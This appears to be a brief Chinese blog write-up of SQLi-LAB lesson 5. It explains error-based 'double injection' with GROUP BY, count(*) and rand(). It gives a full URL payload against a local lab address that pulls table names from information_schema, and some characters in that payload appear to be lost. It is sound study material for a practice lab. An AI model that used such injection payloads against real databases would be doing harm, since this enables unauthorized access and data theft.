SQLi-LAB lesson5 Double Injectio
2019-12-18 本文已影响0人
gg大宇
单引号报错:

order by猜列数

这个double injection主要原理是:将group by与一个聚合函数一起使用,如count(*) 可以将想要查询的内容作为错误信息返回

使用随机数测试 无回显:

前面说过需要用group by和一个聚合函数一起产生错误,所以这里把2换成count(*),并在最后添加group by语句

可以看到显示的错误信息中包含了数据库名,同理可得用户、数据库版本。
得到表信息,payload:
http://192.168.56.131/Less-5/?id=0%27%20union%20select%201,count(),concat(database(),%27;%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand()2))%20as%20a%20from%20information_schema.tables%20group%20by%20a%23


改变limit可以得到后面的表名
